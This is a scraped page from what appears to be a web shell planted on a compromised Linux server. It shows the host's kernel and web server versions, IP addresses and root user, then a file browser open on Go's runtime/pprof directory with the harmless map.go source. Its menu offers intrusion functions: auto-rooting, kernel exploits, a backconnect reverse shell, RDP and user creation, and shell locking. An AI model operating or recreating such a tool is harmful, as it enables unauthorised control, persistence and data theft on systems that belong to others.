Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
runtime /
pprof /
[ HOME SHELL ]
Name
Size
Permission
Action
internal
[ DIR ]
drwxr-xr-x
testdata
[ DIR ]
drwxr-xr-x
elf.go
2.79
KB
-rw-r--r--
label.go
2.55
KB
-rw-r--r--
label_test.go
2.53
KB
-rw-r--r--
map.go
1.94
KB
-rw-r--r--
mprof_test.go
5.35
KB
-rw-r--r--
pprof.go
27.24
KB
-rw-r--r--
pprof_test.go
34.46
KB
-rw-r--r--
proto.go
22.63
KB
-rw-r--r--
proto_test.go
16.25
KB
-rw-r--r--
protobuf.go
2.51
KB
-rw-r--r--
protomem.go
2.91
KB
-rw-r--r--
protomem_test.go
2.54
KB
-rw-r--r--
runtime.go
1.5
KB
-rw-r--r--
runtime_test.go
3
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : map.go
// Copyright 2017 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package pprof import "unsafe" // A profMap is a map from (stack, tag) to mapEntry. // It grows without bound, but that's assumed to be OK. type profMap struct { hash map[uintptr]*profMapEntry all *profMapEntry last *profMapEntry free []profMapEntry freeStk []uintptr } // A profMapEntry is a single entry in the profMap. type profMapEntry struct { nextHash *profMapEntry // next in hash list nextAll *profMapEntry // next in list of all entries stk []uintptr tag unsafe.Pointer count int64 } func (m *profMap) lookup(stk []uint64, tag unsafe.Pointer) *profMapEntry { // Compute hash of (stk, tag). h := uintptr(0) for _, x := range stk { h = h<<8 | (h >> (8 * (unsafe.Sizeof(h) - 1))) h += uintptr(x) * 41 } h = h<<8 | (h >> (8 * (unsafe.Sizeof(h) - 1))) h += uintptr(tag) * 41 // Find entry if present. var last *profMapEntry Search: for e := m.hash[h]; e != nil; last, e = e, e.nextHash { if len(e.stk) != len(stk) || e.tag != tag { continue } for j := range stk { if e.stk[j] != uintptr(stk[j]) { continue Search } } // Move to front. if last != nil { last.nextHash = e.nextHash e.nextHash = m.hash[h] m.hash[h] = e } return e } // Add new entry. if len(m.free) < 1 { m.free = make([]profMapEntry, 128) } e := &m.free[0] m.free = m.free[1:] e.nextHash = m.hash[h] e.tag = tag if len(m.freeStk) < len(stk) { m.freeStk = make([]uintptr, 1024) } // Limit cap to prevent append from clobbering freeStk. e.stk = m.freeStk[:len(stk):len(stk)] m.freeStk = m.freeStk[len(stk):] for j := range stk { e.stk[j] = uintptr(stk[j]) } if m.hash == nil { m.hash = make(map[uintptr]*profMapEntry) } m.hash[h] = e if m.all == nil { m.all = e m.last = e } else { m.last.nextAll = e m.last = e } return e }
Close